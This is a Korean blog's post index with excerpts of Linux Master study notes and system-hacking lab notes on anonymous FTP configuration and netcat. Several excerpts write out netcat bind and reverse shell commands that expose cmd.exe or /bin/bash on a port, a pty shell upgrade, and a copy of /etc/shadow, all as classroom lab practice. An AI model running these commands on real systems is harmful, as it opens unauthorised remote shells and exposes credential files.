본문 바로가기

분류 전체보기153

리눅스 마스터 4 [2024.06.23] 01. 파일 디렉터리 목록 확인 #ls [옵션] -a: 모든 파일/디렉터리 출력(숨김 파일/디렉터리)-A: '.', '..'을 제외한 모든 파일 출력(숨김 파일/디렉터리)  -- 수업용-F: 파일/디렉터리를 심볼로 출력(실행 파일(*), 디렉터리(/), 링크 파일(@))-l: 상세히 목록 출력-ld: 해당 디렉터리 정보 출력-h: 파일/디렉터리 크기를 M, KB, MB, GB로 출력-i: i-node 번호 출력-m: 가로로 출력  -- 수업용-n: UID, GID 출력-R: 하위 디렉터리 안의 파일/디렉터리 목록 출력-r: 역순으로 출력(내림차순)  ex)   *uid가 0이기 때문에 권한을 갖게 된다  02. 파일/디렉터리 복사#cp [옵션] [원본] [대상] #cp file1 .. 2024. 6. 23.
리눅스 마스터 3 [2024.06.22] [기본 명령어] 01. 파일 속성 #file [파일명]ex) #file file.txt 02. 파일/디렉터리 목록 출력 #ls  [옵션]#ls -l [디렉터리명]    *alias를 사용하게 되면 실제로 사용할 수 있는 유용한 단축 명령어들이 모아져 있다  예시로 ls -l dir1을 입력하게 되면,dir1에 들어 있는 파일과 디렉터리를 확인할 수 있다  -a: 모든 파일/디렉터리(숨김 파일/디렉터리) 출력-l: 자세히 출력 ex)  03. 파일/디렉터리 복사 #cp [원본 파일/디렉터리] [복사본 파일/디렉터리] #cp *.txt dir3  #cp * dir3  #cp file* dir3   #cp /etc/shadow home/yrg  [root@localhost yrg]#c.. 2024. 6. 23.
시스템 해킹 10 [2024.06.21] [Netcat] #nc 192.168.10.201 1234 #nc 192.168.10.201 1234 c:\netcat>nc 192.168.10.202 1234 c:\netcat>nc -L -e c:\windows\system32\cmd.exe -p 1234 c:\netcat>nc -L -e c:\windows\system32\cmd.exe -p 1234 -L: 영구 리스너 생성-v: 상세 모드-n: DNS 주소 변환 기능 끄기  지난 시간에 배웠던 netcat을 이번 시간에 이어 윈도우에 적용시켜 보려고 한다Windows 7인 201번 서버에서 netcat을 실행시켜 주고  an 명령어로 포트 번호 1234번이 제대로 대기 상태인지 확인한다  그 후 50번 서버인 CentOS 7.. 2024. 6. 23.
시스템 해킹 9 [2024.06.20] > nc를 활용한 Bind/Reverse TCP> netCat 방화벽에 의해 공격이 불가능한 상태에서 공격자인 Kali에게 접근한다   [Kali Linux]#nc 192.168.10.50 4444 > Kali에서 CentOS7 프롬포트 가져오기python -c 'import pty;pty.spawn("/bin/bash")' [CentOS7]#nc -e /bin/bash -l -p 4444  일단 처음은 50번 서버의 CentOS7에서 시작한다포트 번호를 지정해서 공격을 시도하고 창을 하나 더 열어 netstat -tuna 옵션으로화면에 4444번 포트가 대기 중인 것까지 확인한다    현재 4444번 포트가 대기 중이므로 Kali Linux로 넘어간 후nc 명령어와 접속할 IP .. 2024. 6. 21.
시스템 해킹 8 [2024.06.19] [Anonymous FTP] 01. 홈 디렉터리> /var/ftp/pub 02. 환경 설정 파일 > /etc/vsftpd/vsftpd.conf 1) Anonymous FTP 활성화> Anonymous_enable=YES 2) 파일 업로드 허용> /var/ftp/pub  > anon_upload_enable=YES  pub 디렉터리에 익명으로 로그인할 시 전송 오류가 난다  해당 허가권을 변경해도 여전히 전송 오류가 나타나는데  이 경우에는 31번 라인의 주석을 해제시키면 된다  그럴 경우 이렇게 pub 디렉터리에 업로드가 가능해진다  3) 디렉터리 생성> anon_mkdir_write_enable=YES  새폴더 생성도 권한이 거부되어 있으므로  35번 라인의 주석을 해제시키게 되.. 2024. 6. 20.
시스템 해킹 7 [2024.06.18][FTP]> 포트: 20(데이터 포트), 21(제어 포트)1) FTP: 인증(ID/PW)2) Anonymous FTP(ID:Anonymous/PW: e-mail Address)3) TFTP(69): 무인증(인증 기능이 없음) 01. 프로그램 설치#yum -y install vstfpd* 02. 환경 설정 파일 > /etc/vsftpd/vsftpd.conf  > /etc/vsftpd/ftpusers  > /etc/vsftpd/user_list   #vi /etc/vsftpd#vi vsftpd.conf 123번 라인의 NO를 YES로 변경  설정 후 systemctl restart vsftpd를 실행해 준 후 ftp 접속 시도 시 성공한다 ==========================.. 2024. 6. 19.